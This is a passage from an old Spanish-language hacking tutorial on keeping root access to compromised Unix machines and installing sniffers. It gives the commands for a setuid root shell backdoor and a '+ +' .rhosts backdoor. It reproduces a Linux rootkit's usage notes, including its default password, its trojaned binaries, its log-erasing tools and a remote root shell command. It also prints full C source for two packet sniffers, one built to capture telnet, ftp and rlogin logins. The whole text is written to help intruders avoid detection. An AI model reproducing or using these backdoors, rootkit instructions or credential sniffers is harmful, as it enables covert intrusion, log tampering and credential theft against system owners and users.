ocultar procesos suyos que te pueden estar logeando,

pillais la idea no?.. de hecho muchos hackers que conozco

que son roots de maquinas usan este tipo de cosas... asi

que tened cuidado ahi fuera ;o)

ultimas paginas
. 10.- PRESERVAR EL ACCESO Y

PONER SNIFFERS 

Bueno, voy a dar cuatro matices sobre este tema. La idea

es que tras haber conseguido un root es interesante

instalar backdoors ( o mejor una rootkit que es un

conjunto de backdoors y otras herramientas) para seguir

teniendo acceso como root y no tener que repetir el

proceso de entrar por una cuenta normal, ejecutar xploit,

etc,...ya que esto es un coñazo. 

Bueno, simplemente comento que hay backdoors para el

telnetd, login, fingerd, y muchisimos mas, aunque lo que

no hay que hacer es poner sushis o usar la tipica

backdoor en el .rhosts o hosts.equiv ya que esos se notan

mucho y nada mas que el root mire un poco su maquina se

dara cuenta. 

De todos modos, por ser metodos que se han usado mucho y

que ademas es posible que algun dia tengas que usarlo si

estas ante un sistema operativo raro, voy a explicarlos

un poco. 

Poner una sushi (set uid shell) consiste en que cuando

seas root, hacer una copia de la shell, cambiarle el

nombre y ponerle como owner al root y luego darle

permisos 4755. 

Es decir... haces: 

Cp /bin/sh /directoriopublico 

Mv sh /directoriopublico 

Cd directoriopublico 

Mv sh cualquiera 

chown root cualquiera 

chmod 4755 cualquiera 

La gracia de esto es que el 4 indica que cualquiera que

ejecute ese fichero tendra privilegios del owner de ese

fichero. Asi, como el owner es el root y el fichero es

una shell, obtendremos una shell de root con lo que

cuando entremos a esta maquina como un usuario normal,

simplemente iremos al directoriopublico, ejecutamos

./cualquiera y tendremos una shell de root. 

En este momento es importante señalar las diferencias

entre UID (User Identification) y EUID (Efective User

Identification), es decir, cuando ejecuteis la sushi

tendreis como UID la que tuvieseis del usuario con el que

habeis entrado pero tendreis como EUID=0, es decir que

teneis privilegios de root para hacerlo todo pero sin

embargo si por ejemplo haceis un who aparecera el UID de

la cuenta con la que habeis entrado y no aparecereis como

root... tened cuidado con este tema que a veces puede

ocasionar lios con los permisos y owners de los ficheros.

Vale, hasta ahora todo muy bonito pero la desventaja de

esto es que te la pueden localizar facilmente haciendo un

find –perm 4000 ........ ya que con este comando busca

ficheros que tengan estas caracteristicas del bit de

setuid activado con lo que el root te puede pillar

facilmente por lo que claramente es desaconsejable. 

Otro metodo, aun pero es poner un + + en el .rhosts del

root. Esto quiere decir que cualquiera que haga un rlogin

al root desde cualquier maquina sera root sin necesidad

de password.. es decir con rlogin –l root

maquinavictima.com. Obviamente la desventaja de esto es

que el root cuando vea un + + en su .rhosts te pillara y

esto es de lo que mas canta por lo que tambien es

claramente desaconsejable. 

Ademas de esto hay programas que substituyen el fingerd,

telnetd, login, etc para que cuando tu les des unos datos

determinados te dejen entrar como root remotamente. Esta

es una buena solucion aunque en algunos casos la longitud

del fichero difiere mucho del real al troyano .. pero hay

algun metodo mas que ya se comentara en otros textos para

que no te pillen por este motivo. Estos troyanos estan en

muchos de los lugares de la red asi ke dando un par de

vueltas los encontrareis.. igualmente, es posible que

esten en la misma maquina de donde os bajeis este texto.

Obviamente no son adjuntados por no hacer esto mas

grande, que ya se esta haciendo demasiado largo el

textito de marras.. jeje 

Ademas de meter troyanos, tambien hay backdoors usando el

inetd, cron y demas.... su funcionamiento es bastante

obvio... el inetd define los demonios que se arrancan

asociados con cada puerto por lo ke puedes poner asociado

a un puerto raro una shell de root... respecto al cron..

es un programa que te permite definir tareas que se

repitan periodicamente... puedes hacer ke todos los dias

a una hora dada se modifique el archivo /etc/passwd, o

que ejecute un socket daemon o mil kosas mas... estas dos

backdoors ofrecen muchas posibilidades.. la putada en

contra de los troyanos es que nada mas que el root vea el

inetd.conf ( en el caso del inetd) o el directorio cron

se pueden dar cuenta facilmente. 

Lo que es bastante interesante es instalar una rootkit (

el problema es que no estan hechas para muchos sistemas

con lo que si te encuentras un sistema operativo para los

que no las tienes te lo tienes que currar un poco mas

:o(.. este paquete de programas te permiten desde ocultar

procesos, ocultar directorios, borrar huellas, dejar mil

backdoors, que te oculte en el netstat, que en el

ifconfig no aparezca el famoso promiscuos si pones un

sniffer, etc. es decir que dejas la maquina hecha un

agujero. Obviamente, se puede definir que directorios

quieres que te oculte, que backdoors quieres que te

ponga, etc. 

No la adjunto en este texto ya que es bastante grande

pero no es dificil obtenerlas en la red. Adjunto aqui

unos de los programas que modifica una rootkit cualquiera

que he pillado.. en este caso es una de linux ( hay

versiones posteriores del año 97 de esta rootkit): 

chfn                 Trojaned! User->r00t 

chsh                Trojaned! User->r00t 

inetd               Trojaned! Remote access 

login                Trojaned! Remote access 

ls                     Trojaned! Hide files 

du                    Trojaned! Hide files 

ifconfig            Trojaned! Hide sniffing 

netstat            Trojaned! Hide connections 

passwd            Trojaned! User->r00t 

ps                    Trojaned! Hide processes 

top                  Trojaned! Hide processes 

rshd                Trojaned! Remote access 

syslogd            Trojaned! Hide logs 

linsniffer            A kewl sniffz0r! 

sniffit               Another kewl sniffer! 

fix                    File fixer! 

z2                    Zap2 utmp/wtmp/lastlog eraser! 

wted                wtmp/utmp editor! 

lled                  lastlog editor! 

bindshell            port/shell type daemon! 

Y a continuacion su uso de manera breve: 

OK I will go thru how to use each program one by one.

NOTE when I say passwordI mean the rootkit password not

your users password (doh!). By default therootkit

password is lrkr0x. 

chfn -               Local user->root. Run chfn then when

it asks you for a new name 

                        enter your password. 

chsh -              Local user->root. Run chsh when it

asks you for a new shell 

                        enter your password. 

inetd -             Binds a shell to a port for remote

access. hehe look at the 

                        source if u want this one =) 

login -             Allows login to any account with the

rootkit password. 

                        If root login is refused on your

terminal login as "rewt". 

                        History logging is disabled if

you login using your password. 

ls -                   Trojaned to hide specified files

and dirs. 

                        Default data file is /dev/ptyr. 

                        All files can be listed with 'ls

-/'. 

                        The format of /dev/ptyr is: 

                        ptyr 

                        hack.dir 

                        w4r3z 

                        ie. just the filenames. This

would hide any files/dirs with the 

                        names ptyr, hack.dir and w4r3z. 

du -                 Same as ls, 'cept for du instead :) 

ifconfig -            Modified to remove PROMISC flag

when sniffing. 

netstat -            Modified to remove tcp/udp/sockets

from or to specified 

                        addresses, uids and ports. 

                        default data file: /dev/ptyq 

                        command 0: hide uid 

                        command 1: hide local address 

                        command 2: hide remote address 

                        command 3: hide local port 

                        command 4: hide remote port 

                        command 5: hide UNIX socket path 

                        example: 

                        0 500           <- Hides all

connections by uid 500 

                        1 128.31        <- Hides all

local connections from 128.31.X.X 

                        2 128.31.39.20  <- Hides all

remote connections to 128.31.39.20 

                        3 8000          <- Hides all

local connections from port 8000 

                        4 6667          <- Hides all

remote connections to port 6667 

                        5 .term/socket  <- Hides all UNIX

sockets including the path 

.term/socket 

                        Yeah eyem lazy. This is ira's

description. Why bother thinking 

                        up werds when someones already

done it? 

passwd -            Local user->root. Enter your rootkit

password instead of your 

                        old password. 

ps -                 Modified to remove specified

processes. 

                        Default data file is /dev/ptyp. 

                        An example data file is as

follows: 

            0 0             Strips all processes running

under root 

            1 p0            Strips tty p0 

            2 sniffer       Strips all programs with the

name sniffer 

                        Don't put in the comments,

obviously. 

top -                Identical to ps, 'cept for top

instead. 

rshd -              Execute remote commands as root. 

                        Usage: rsh -l rootkitpassword

host command 

                        ie. rsh -l lrkr0x cert.org

/bin/sh -i 

                            would start a root shell. 

syslogd -            Modified to remove specified strings

from logging. 

                        I thought of this one when I was

on a system which logged 

                        every connection.. I kept getting

pissed off with editing 

                        files every time I connected to

remove my hostname. Then I 

                        thought 'Hey dude, why not trojan

syslogd?!' and the rest 

                        is history. :) 

                        Default data file is /dev/ptys 

                        Example data file: 

                        evil.com 

                        123.100.101.202 

                        rshd 

                        This would remove all logs

containing the strings evil.com, 

                        123.100.101.202 and rshd. Smart!

:)) 

sniffit - An advanced network sniffer. This is pretty

kewl and has lots 

                        of filtering options and other

stuff. Useful for targetting a 

                        single host or net. Sniffit uses

ncurses. 

linsniffer -            A kewl sniffer. This is smaller

than sniffit and doesn't need 

                        the ncurses libraries.  

                        As CERT say, sniffing is

responsible for more mass network 

                        breakins than anything else in

the 90's. P'raps they ain't 

                        heard of Sendmail before

hahahaha  

fix -                  Replaces and fixes

timestamp/checksum infomation on files. 

                        I modified this a bit for my own

uses and to fix a nasty bug 

                        when replacing syslogd and inetd.

The replacement file will 

                        be erased by fix (unlike other

versions).  

z2 -                  Zapper2! Run this to erase the last

utmp/wtmp/lastlog entries 

                        for a username. This can be

detected since it just nulls the 

                        entry out but no sysadmins know

this, right? 

wted -             This does lots of stuff. U can view

ALL the entries in a wtmp 

                        or utmp type file, erase entries

by username or hostname, 

                        view zapped users (admins use a

util similar to this to find 

                        erased entries), erase zapped

users etc. 

lled -                Basically the same as wted but for

lastlog entries. 

Creo que con esto queda suficientemente claro no? jeje 

Como se puede ver, esta rootkit tiene de todo, unos

cuantos troyanos, sniffer, borrador de huellas, inetd y

login modificados para permitir acceso remoto, editores

de wtmp y utmp, etc... en fin, como podeis ver si pillas

root en una maquina e instalas una rootkit.. la maquina

es tuya asi que no doy ideas.. jejejejejeje. Por cierto a

fecha de hoy no encuentro rootkits para irix, aix, hp y

demas por lo que si alguien tiene agradeceria que me lo

comunicasen ( yo solo tengo de sun y de linux... y una

para bsd pero que no rula muy bien :o( y currarse una es

una kurrada :( 

Ademas de lo que acabo de comentar, una vez tienes la

maquina controlada, lo que has de hacer es poner un

sniffer para conseguir mas cuentas ( que a veces tambien

viene incluida en la rootkit) que se comenta a

continuacion. 

Nota previa: 

La manera mas usual de conectar maquinas es usando

Ethernel. El protocolo de Ethernet trabaja enviando la

informacion en paquetes a las maquinas de la red. La

cabecera del paquete contiene la direccion IP de la

maquina destino. Solo la maquina que tiene este IP va a

recibir este paquete en teoria, pero una maquina se puede

poner en modo promiscuo de manera que reciba todos los

paquetes que van por la red independientemente de lo que

ponga en la cabecera como IP de destino. 

Asi, basicamente un sniffer lo que hace es poner a la

maquina en modo promiscuo, es decir, que la maquina

acepta todos los paquetes que van por la red y no solo

los que van destinados a ella. 

La gracia de esto es que en una red normal ( sin usar

metodos de encriptacion de passwords como el Kerberos)

por la red rulan los paquetes con el login y passwd de

otras maquinas con lo que conseguireis cuentas en otras

maquinas sin hacer nada.. esta bien no?. 

El problema es que se puede detectar facilmente si en una

maquina hay un sniffer corriendo simplemente haciendo

ifconfig –a (en general, aunque varia un poco para

algunos sistemas) porque aparece un mensaje de que la

maquina esta en promiscous mode... por lo que tendras que

poner un troyano para el ifconfig porque si no, el root

se percatara y se mosqueara. Recuerdo que en las rootkits

vienen incluidos troyanos para el ifconfig. 

Hay muchisimos sniffers, estos programas permiten muchas

opciones como que te permiten sniffear algunos puertos o

todos, buscar palabras en los paquetes, etc y los hay

desde algunos muy cutres hasta otros comerciales. Algunos

nombres son tcpdump, sniffit, esniff, websniff,

linsniffer, solsniff, sunsniff, etc.. como veis hay

muchos y para distintos sistemas operativos. He cogido de

la phrack esta lista de sniffers para distintos sistemas

operativos que supongo que sera de interes: 

OS                          Sniffer 

4.3/4.4 BSD            tcpdump      /* Available via

anonymous ftp           */ 

FreeBSD            tcpdump      /* Available via

anonymous ftp at        */ 

                        /* gatekeeper.dec.com 

            /*

            /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/

            */ 

NetBSD            tcpdump      /* Available via anonymous

ftp at        */ 

                        /* gatekeeper.dec.com 

                             /*

/.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */ 

DEC Unix            tcpdump      /* Available via

anonymous ftp           */ 

DEC Ultrix            tcpdump      /* Available via

anonymous ftp           */ 

HP/UX                     nettl (monitor) & netfmt

(display) 

                            nfswatch        /* Available

via anonymous ftp*/ 

Irix                        nfswatch        /* Available

via anonymous ftp*/ 

                            Etherman 

            Tcpdump            /* Available via anonymous

      ftp           */ 

SunOS          etherfind 

                      Nfswatch            /* Available

via anonymous ftp*/ 

            tcpdump            /* Available via anonymous

      ftp           */ 

Solaris                     snoop 

                        tcpdump 

DOS                         ETHLOAD         /* Available

via anonymous ftp as*/ 

                                               /*

ethld104.zip*/ 

                            The Gobbler     /* Available

via anonymous ftp*/ 

                            LanPatrol 

                            LanWatch 

                            Netmon 

                            Netwatch 

                            Netzhack        /* Available

via anonymous ftp at*/ 

                                            /*

mistress.informatik.unibw-muenchen.de*/ 

                                            /*

/pub/netzhack.mac*/ 

Macintosh                Etherpeek 

Como veis el TCPDUMP es bastante interesante pero no lo

adjunto en el texto por ser bastante grande. Este es un

problema de este programa, que es un monitor de red muy

potente pero tambien canta mucho si lo metes en una

makina porke tiene muchos archivos y canta bastante al

hacer un ps-axw por lo que es mejor evitar usarlo y si

estas en una linux o sun, usar sniffers pequeñitos ke hay

para esos sistemas operativos. 

Aqui adjunto el codigo de un par de sniffers para que

veais la forma que tienen aunque obviamente recuerdo que

os hacen falta las librerias para que rulen: 

/* ipl.c 1/3/95    by loq */ 

/* monitors ip packets for Linux */ 

#include <sys/types.h> 

#include <sys/socket.h> 

#include <sys/time.h> 

#include <netinet/in.h> 

#include <linux/if.h> 

#include <signal.h> 

#include <stdio.h> 

#include <linux/socket.h> 

#include <linux/ip.h> 

#include <linux/tcp.h> 

#include <linux/if_ether.h> 

#define BUFLEN 8192 

#define ETHLINKHDR 14 

print_data(int count, char *buff) 

{ 

            int i,j,c; 

            int printnext=1; 

            if(count) 

            { 

            if(count%16) 

                        c=count+(16-count%16); 

            else c=count; 

            } 

                        else 

                        c=count; 

            for(i=0;i<c;i++) 

            { 

                        if(printnext) { printnext--;

printf("%.4x ",i&0xffff); } 

                        if(i<count) 

                        printf("%3.2x",buff[i]&0xff); 

                        else 

                        printf("   "); 

                        if(!((i+1)%8)) 

                                    if((i+1)%16) 

                                                printf("

-"); 

                                    else 

                                                { 

            printf("   "); 

            for(j=i-15;j<=i;j++) 

              if(j<count) { 

                        if( (buff[j]&0xff) >= 0x20 && 

                            (buff[j]&0xff)<=0x7e) 

                              printf("%c",buff[j]&0xff); 

                        else printf("."); 

                        } else printf(" "); 

printf("\n"); printnext=1; 

                                                } 

            } 

} 

int 

initdevice(device, pflag) 

            char *device; 

            int pflag; 

{ 

#define PROTO htons(0x0800)   /* Ethernet code for IP

protocol */ 

            int if_fd=0; 

            struct ifreq ifr; 

            if (

(if_fd=socket(AF_INET,SOCK_PACKET,PROTO)) < 0 ) { 

                        perror("Can't get socket"); 

                        exit(2); 

            } 

            strcpy(ifr.ifr_name, device);       /*

interface we're gonna use */ 

            if( ioctl(if_fd, SIOCGIFFLAGS, &ifr) < 0 )

{    /* get flags */ 

                        close(if_fd); 

                        perror("Can't get flags"); 

                        exit(2); 

            } 

#if 1 

            if ( pflag ) 

                        ifr.ifr_flags |=

IFF_PROMISC;         /* set promiscuous mode */ 

            else 

                        ifr.ifr_flags &= ~(IFF_PROMISC); 

#endif 

            if( ioctl(if_fd, SIOCSIFFLAGS, &ifr) < 0 )

{    /* set flags */ 

                        close(if_fd); 

                        perror("Can't set flags"); 

                        exit(2); 

            } 

            return if_fd; 

} 

struct etherpacket { 

            struct ethhdr             eth;      

            struct iphdr               ip; 

            struct tcphdr             tcp; 

            char                            data[8192]; 

            }; 

main() 

{ 

            int linktype; 

            int if_eth_fd=initdevice("eth0",1); 

#if 0 

            int if_ppp_fd=initdevice("sl0",1); 

#endif 

            struct etherpacket ep; 

            struct sockaddr dest; 

            struct iphdr *ip; 

            struct tcphdr *tcp; 

            struct timeval timeout; 

            fd_set rd,wr; 

            int dlen; 

#if 0 

            struct slcompress

*slc=slhc_init(64,64);           

#endif 

            for(;;) 

            { 

                        bzero(&dest,sizeof(dest)); 

                        dlen=0; 

                        FD_ZERO(&rd); 

                        FD_ZERO(&wr); 

                        FD_SET(if_eth_fd,&rd); 

#if 0 

                        FD_SET(if_ppp_fd,&rd); 

#endif 

                        timeout.tv_sec=0; 

                        timeout.tv_usec=0; 

                        ip=(struct iphdr *)(((unsigned

long)&ep.ip)-2); 

                        tcp=(struct tcphdr *)(((unsigned

long)&ep.tcp)-2); 

                        while(timeout.tv_sec==0 &&

timeout.tv_usec==0) 

                        { 

                        timeout.tv_sec=10; 

                        timeout.tv_usec=0; 

                        select(20,&rd,&wr,NULL,&timeout);

                        if(FD_ISSET(if_eth_fd,&rd)) 

                                    { 

                                    printf("eth\n"); 

recvfrom(if_eth_fd,&ep,sizeof(ep),0,&dest,&dlen); 

                                    } 

#if 0 

                        else 

if(FD_ISSET(if_ppp_fd,&rd)) 

                                    { 

recvfrom(if_ppp_fd,&ep,sizeof(ep),0,&dest,&dlen); 

                                    printf("ppp\n"); 

                                    } 

#endif 

                        }           

                        printf("proto:

%.4x",ntohs(ep.eth.h_proto)); 

#if 0 

                        if(ep.eth.h_proto==ntohs(8053)) 

                        { 

slhc_uncompress(slc,&ep,sizeof(ep)); 

                        } 

#endif 

if(ep.eth.h_proto==ntohs(ETH_P_IP)) 

                        { 

printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x->", 

ep.eth.h_source[0],ep.eth.h_source[1], 

ep.eth.h_source[2],ep.eth.h_source[3], 

ep.eth.h_source[4],ep.eth.h_source[5]); 

printf("%.2x:%.2x:%.2x:%.2x:%.2x:%.2x ", 

ep.eth.h_dest[0],ep.eth.h_dest[1], 

ep.eth.h_dest[2],ep.eth.h_dest[3], 

ep.eth.h_dest[4],ep.eth.h_dest[5]); 

printf("%s[%d]->",inet_ntoa(ip->saddr),ntohs(tcp->source));

printf("%s[%d]\n",inet_ntoa(ip->daddr),ntohs(tcp->dest));

print_data(htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp),

                                    ep.data-2); 

                        } 

            } 

} 

Tambien pongo un sniffer generico para ethernet que

aparecio en la PHRACK que esta diseñado para trabajar en

SunOs, es muy pequeño y solo captura los primeros 300

bytes de todas las sesiones de telnet, ftp o rlogin: 

/* [JOIN THE POSSE!] */ 

/* Esniff.c */ 

#include <stdio.h> 

#include <ctype.h> 

#include <string.h> 

#include <sys/time.h> 

#include <sys/file.h> 

#include <sys/stropts.h> 

#include <sys/signal.h> 

#include <sys/types.h> 

#include <sys/socket.h> 

#include <sys/ioctl.h> 

#include <net/if.h> 

#include <net/nit_if.h> 

#include <net/nit_buf.h> 

#include <net/if_arp.h> 

#include <netinet/in.h> 

#include <netinet/if_ether.h> 

#include <netinet/in_systm.h> 

#include <netinet/ip.h> 

#include <netinet/udp.h> 

#include <netinet/ip_var.h> 

#include <netinet/udp_var.h> 

#include <netinet/in_systm.h> 

#include <netinet/tcp.h> 

#include <netinet/ip_icmp.h> 

#include <netdb.h> 

#include <arpa/inet.h> 

#define ERR stderr 

char    *malloc(); 

char    *device, 

        *ProgName, 

        *LogName; 

FILE    *LOG; 

int     debug=0; 

#define NIT_DEV     "/dev/nit" 

#define CHUNKSIZE   4096        /* device buffer size */ 

int     if_fd = -1; 

int     Packet[CHUNKSIZE+32]; 

void Pexit(err,msg) 

int err; char *msg; 

{ perror(msg); 

  exit(err); } 

void Zexit(err,msg) 

int err; char *msg; 

{ fprintf(ERR,msg); 

  exit(err); } 

#define IP          ((struct ip *)Packet) 

#define IP_OFFSET   (0x1FFF) 

#define SZETH       (sizeof(struct ether_header)) 

#define IPLEN       (ntohs(ip->ip_len)) 

#define IPHLEN      (ip->ip_hl) 

#define TCPOFF      (tcph->th_off) 

#define IPS         (ip->ip_src) 

#define IPD         (ip->ip_dst) 

#define TCPS        (tcph->th_sport) 

#define TCPD        (tcph->th_dport) 

#define IPeq(s,t)   ((s).s_addr == (t).s_addr) 

#define TCPFL(FLAGS) (tcph->th_flags & (FLAGS)) 

#define MAXBUFLEN  (128) 

time_t  LastTIME = 0; 

struct CREC { 

     struct CREC *Next, 

                 *Last; 

     time_t  Time;              /* start time */ 

     struct in_addr SRCip, 

                    DSTip; 

     u_int   SRCport,           /* src/dst ports */ 

             DSTport; 

     u_char  Data[MAXBUFLEN+2]; /* important stuff :-) */

     u_int   Length;            /* current data length */

     u_int   PKcnt;             /* # pkts */ 

     u_long  LASTseq; 

}; 

struct CREC *CLroot = NULL; 

char *Symaddr(ip) 

register struct in_addr ip; 

{ register struct hostent *he = 

      gethostbyaddr((char *)&ip.s_addr, sizeof(struct

in_addr),AF_INET); 

  return( (he)?(he->h_name):(inet_ntoa(ip)) ); 

} 

char *TCPflags(flgs) 

register u_char flgs; 

{ static char iobuf[8]; 

#define SFL(P,THF,C) iobuf[P]=((flgs & THF)?C:'-') 

  SFL(0,TH_FIN, 'F'); 

  SFL(1,TH_SYN, 'S'); 

  SFL(2,TH_RST, 'R'); 

  SFL(3,TH_PUSH,'P'); 

  SFL(4,TH_ACK, 'A'); 

  SFL(5,TH_URG, 'U'); 

  iobuf[6]=0; 

  return(iobuf); 

} 

char *SERVp(port) 

register u_int port; 

{ static char buf[10]; 

  register char *p; 

   switch(port) { 

     case IPPORT_LOGINSERVER: p="rlogin"; break; 

     case IPPORT_TELNET:      p="telnet"; break; 

     case IPPORT_SMTP:        p="smtp"; break; 

     case IPPORT_FTP:         p="ftp"; break; 

     default: sprintf(buf,"%u",port); p=buf; break; 

   } 

   return(p); 

} 

char *Ptm(t) 

register time_t *t; 

{ register char *p = ctime(t); 

  p[strlen(p)-6]=0; /* strip " YYYY\n" */ 

  return(p); 

} 

char *NOWtm() 

{ time_t tm; 

  time(&tm); 

  return( Ptm(&tm) ); 

} 

#define MAX(a,b) (((a)>(b))?(a):(b)) 

#define MIN(a,b) (((a)<(b))?(a):(b)) 

/* add an item */ 

#define ADD_NODE(SIP,DIP,SPORT,DPORT,DATA,LEN) { \ 

  register struct CREC *CLtmp = \ 

        (struct CREC *)malloc(sizeof(struct CREC)); \ 

  time( &(CLtmp->Time) ); \ 

  CLtmp->SRCip.s_addr = SIP.s_addr; \ 

  CLtmp->DSTip.s_addr = DIP.s_addr; \ 

  CLtmp->SRCport = SPORT; \ 

  CLtmp->DSTport = DPORT; \ 

  CLtmp->Length = MIN(LEN,MAXBUFLEN); \ 

  bcopy( (u_char *)DATA, (u_char *)CLtmp->Data,

CLtmp->Length); \ 

  CLtmp->PKcnt = 1; \ 

  CLtmp->Next = CLroot; \ 

  CLtmp->Last = NULL; \ 

  CLroot = CLtmp; \ 

} 

register struct CREC *GET_NODE(Sip,SP,Dip,DP) 

register struct in_addr Sip,Dip; 

register u_int SP,DP; 

{ register struct CREC *CLr = CLroot; 

  while(CLr != NULL) { 

    if( (CLr->SRCport == SP) && (CLr->DSTport == DP) && 

        IPeq(CLr->SRCip,Sip) && IPeq(CLr->DSTip,Dip) ) 

            break; 

    CLr = CLr->Next; 

  } 

  return(CLr); 

} 

#define ADDDATA_NODE(CL,DATA,LEN) { \ 

 bcopy((u_char *)DATA, (u_char

*)&CL->Data[CL->Length],LEN); \ 

 CL->Length += LEN; \ 

} 

#define PR_DATA(dp,ln) {    \ 

  register u_char lastc=0; \ 

  while(ln-- >0) { \ 

     if(*dp < 32) {  \ 

        switch(*dp) { \ 

            case '\0': if((lastc=='\r') || (lastc=='\n')

|| lastc=='\0') \ 

                        break; \ 

            case '\r': \ 

            case '\n': fprintf(LOG,"\n     : "); \ 

                        break; \ 

            default  : fprintf(LOG,"^%c", (*dp + 64)); \ 

                        break; \ 

        } \ 

     } else { \ 

        if(isprint(*dp)) fputc(*dp,LOG); \ 

        else fprintf(LOG,"(%d)",*dp); \ 

     } \ 

     lastc = *dp++; \ 

  } \ 

  fflush(LOG); \ 

} 

void END_NODE(CLe,d,dl,msg) 

register struct CREC *CLe; 

register u_char *d; 

register int dl; 

register char *msg; 

{ 

   fprintf(LOG,"\n-- TCP/IP LOG -- TM: %s --\n",

Ptm(&CLe->Time)); 

   fprintf(LOG," PATH: %s(%s) =>",

Symaddr(CLe->SRCip),SERVp(CLe->SRCport)); 

   fprintf(LOG," %s(%s)\n",

Symaddr(CLe->DSTip),SERVp(CLe->DSTport)); 

   fprintf(LOG," STAT: %s, %d pkts, %d bytes [%s]\n", 

NOWtm(),CLe->PKcnt,(CLe->Length+dl),msg); 

   fprintf(LOG," DATA: "); 

    { register u_int i = CLe->Length; 

      register u_char *p = CLe->Data; 

      PR_DATA(p,i); 

      PR_DATA(d,dl); 

    } 

   fprintf(LOG,"\n-- \n"); 

   fflush(LOG); 

   if(CLe->Next != NULL) 

    CLe->Next->Last = CLe->Last; 

   if(CLe->Last != NULL) 

    CLe->Last->Next = CLe->Next; 

   else 

    CLroot = CLe->Next; 

   free(CLe); 

} 

/* 30 mins (x 60 seconds) */ 

#define IDLE_TIMEOUT 1800 

#define IDLE_NODE() { \ 

  time_t tm; \ 

  time(&tm); \ 

  if(LastTIME<tm) { \ 

     register struct CREC *CLe,*CLt = CLroot; \ 

     LastTIME=(tm+IDLE_TIMEOUT); tm-=IDLE_TIMEOUT; \ 

     while(CLe=CLt) { \ 

       CLt=CLe->Next; \ 

       if(CLe->Time <tm) \ 

           END_NODE(CLe,(u_char *)NULL,0,"IDLE TIMEOUT");

\ 

     } \ 

  } \ 

} 

void filter(cp, pktlen) 

register char *cp; 

register u_int pktlen; 

{ 

 register struct ip     *ip; 

 register struct tcphdr *tcph; 

 { register u_short EtherType=ntohs(((struct ether_header

*)cp)->ether_type); 

   if(EtherType < 0x600) { 

     EtherType = *(u_short *)(cp + SZETH + 6); 

     cp+=8; pktlen-=8; 

   } 

   if(EtherType != ETHERTYPE_IP) /* chuk it if its not IP

*/ 

      return; 

 } 

    /* ugh, gotta do an alignment :-( */ 

 bcopy(cp + SZETH, (char *)Packet,(int)(pktlen - SZETH));

 ip = (struct ip *)Packet; 

 if( ip->ip_p != IPPROTO_TCP) /* chuk non tcp pkts */ 

    return; 

 tcph = (struct tcphdr *)(Packet + IPHLEN); 

 if(!( (TCPD == IPPORT_TELNET) || 

       (TCPD == IPPORT_LOGINSERVER) || 

       (TCPD == IPPORT_FTP) 

   )) return; 

 { register struct CREC *CLm; 

   register int length = ((IPLEN - (IPHLEN * 4)) -

(TCPOFF * 4)); 

   register u_char *p = (u_char *)Packet; 

   p += ((IPHLEN * 4) + (TCPOFF * 4)); 

 if(debug) { 

  fprintf(LOG,"PKT: (%s %04X) ",

TCPflags(tcph->th_flags),length); 

  fprintf(LOG,"%s[%s] => ", inet_ntoa(IPS),SERVp(TCPS)); 

  fprintf(LOG,"%s[%s]\n", inet_ntoa(IPD),SERVp(TCPD)); 

 } 

   if( CLm = GET_NODE(IPS, TCPS, IPD, TCPD) ) { 

      CLm->PKcnt++; 

      if(length>0) 

        if( (CLm->Length + length) < MAXBUFLEN ) { 

          ADDDATA_NODE( CLm, p,length); 

        } else { 

          END_NODE( CLm, p,length, "DATA LIMIT"); 

        } 

      if(TCPFL(TH_FIN|TH_RST)) { 

          END_NODE( CLm, (u_char

*)NULL,0,TCPFL(TH_FIN)?"TH_FIN":"TH_RST" ); 

      } 

   } else { 

      if(TCPFL(TH_SYN)) { 

         ADD_NODE(IPS,IPD,TCPS,TCPD,p,length); 

      } 

   } 

   IDLE_NODE(); 

 } 

} 

<font

